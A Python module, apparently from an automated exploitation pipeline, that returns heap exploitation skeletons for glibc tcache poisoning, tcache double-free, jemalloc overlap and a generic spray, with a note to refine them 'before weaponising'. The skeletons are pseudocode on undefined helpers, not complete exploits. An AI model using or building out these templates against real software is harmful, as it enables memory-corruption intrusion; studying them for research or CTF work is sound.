File size: 1,803 Bytes
14b1bbe | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | """
Heap exploitation kit — produces target-allocator-aware spray templates.
Supports glibc ptmalloc2 (default), tcache, jemalloc, and a generic
fallback. The Executor uses the resulting template as a starting point for
GDB+GEF-driven manual confirmation.
"""
from __future__ import annotations
from typing import Any
_TEMPLATES = {
"ptmalloc2": (
"# tcache poisoning skeleton\n"
"for i in range(7):\n"
" free(allocate({size}))\n"
"free(target_chunk)\n"
"overwrite_fd(target_chunk, target_addr)\n"
"victim = allocate({size}) # returns target_addr\n"
),
"tcache": (
"# tcache double-free skeleton\n"
"a = allocate({size}); b = allocate({size})\n"
"free(a); free(b); free(a)\n"
"x = allocate({size}); overwrite_fd(x, target_addr)\n"
"allocate({size}); allocate({size}) # returns target_addr\n"
),
"jemalloc": (
"# jemalloc run-overlap skeleton\n"
"spray = [allocate({size}) for _ in range(0x40)]\n"
"trigger_uaf(spray[0x20])\n"
"spray2 = [allocate({size}) for _ in range(0x40)]\n"
),
"generic": (
"# generic massage spray\n"
"spray = [allocate({size}) for _ in range(0x100)]\n"
"trigger_vulnerability(spray[0x80])\n"
),
}
class HeapExploitKit:
def spray_template(self, crash: dict[str, Any]) -> dict[str, Any]:
allocator = crash.get("allocator", "ptmalloc2")
size = crash.get("chunk_size", 0x80)
tpl = _TEMPLATES.get(allocator, _TEMPLATES["generic"]).format(size=hex(size))
return {
"allocator": allocator,
"chunk_size": size,
"template": tpl,
"notes": "Refine with GEF (`heap chunks`, `heap bins`) before weaponising.",
}
|